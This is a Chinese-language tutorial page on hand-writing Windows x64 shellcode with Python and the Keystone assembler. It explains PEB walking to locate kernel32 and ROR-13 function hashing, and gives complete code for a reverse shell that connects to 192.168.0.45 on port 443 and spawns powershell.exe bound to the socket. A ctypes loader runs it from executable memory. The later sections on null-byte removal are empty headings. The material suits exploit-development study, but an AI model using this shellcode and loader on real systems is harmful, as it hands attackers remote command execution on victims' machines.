Skip to main content

Shellcode 编写

测试方法

使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。

我们首先需要通过 pip 安装 keystone 引擎:

pip3 install keystone-engine

然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。

import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffff9f0           ;"  #   Avoid NULL bytes
............
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))


寻找 KERNEL32

TEB 0x60 处,访问到 PEB 的指针:

mov rax, gs:[0x60]

image.png

在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:

mov rsi,[rax+0x18]

image.png

访问该 _PEB_LDR_DATA 结构体,里面有多个成员。下半部分的输出给出了更详细的结构体成员信息,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleListInMemoryOrderModuleList,和 InInitializationOrderModuleList

image.png

InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。

保存 InMemoryOrderModuleList 的地址。

mov rsi,[rsi+0x10]

InMemoryOrderModuleList 是一个 _LIST_ENTRY 类型的结构体,有着 2 个成员 FlinkBlink,在双向链表中分别用于访问下一个上一个条目:

image.png


PEB
|
|---> _PEB_LDR_DATA
      |
      |---> InLoadOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InMemoryOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InInitializationOrderModuleList (_LIST_ENTRY)
            |
            |---> _LDR_DATA_TABLE_ENTRY (module 1)
            |---> _LDR_DATA_TABLE_ENTRY (module 2)
            |---> ...



定位所需 API


函数哈希脚本如下:

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))
    
    
if __name__ == '__main__':
    try:
        rsi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()
    # Initialize variables
    rdx = 0x00
    ror_count = 0
    for rax in rsi:
        rdx = rdx + ord(rax)
        if ror_count < len(rsi)-1:
            rdx = ror_str(rdx, 0xd)
        ror_count += 1
    print(hex(rdx))


调用 API

WSAStartup
int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);


WSASocketA
SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);


WSAConnect
int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);


CreateProcessA
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

STARTINFO 结构体

微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的大小与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void



完整的初版 Shellcode 如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int3;"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

"   int 3;"
"   ret;"

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"
" check_lower:"
"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   add r15, r9;"    # R14 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   mov rcx, 0x202;"    # wVersionRequired 
"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
"   mov rcx, 2;"    # 2
"   mov rdx, 1;"    # 1
"   mov r8, 6;"    # 6
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   mov rdx, 2;"    # AF_INET = 2
"   mov [rsp], rdx;"    # Store structure socketaddr
"   mov rdx, 0xbb01;"    # Port 443 01bb
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x100;"     
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub rdx, 0x500;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
"   ret;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))








去除 0x00 字节


PIC 代码


参考:

https://www.exploit-db.com/exploits/50291 

https://www.exploit-db.com/exploits/40890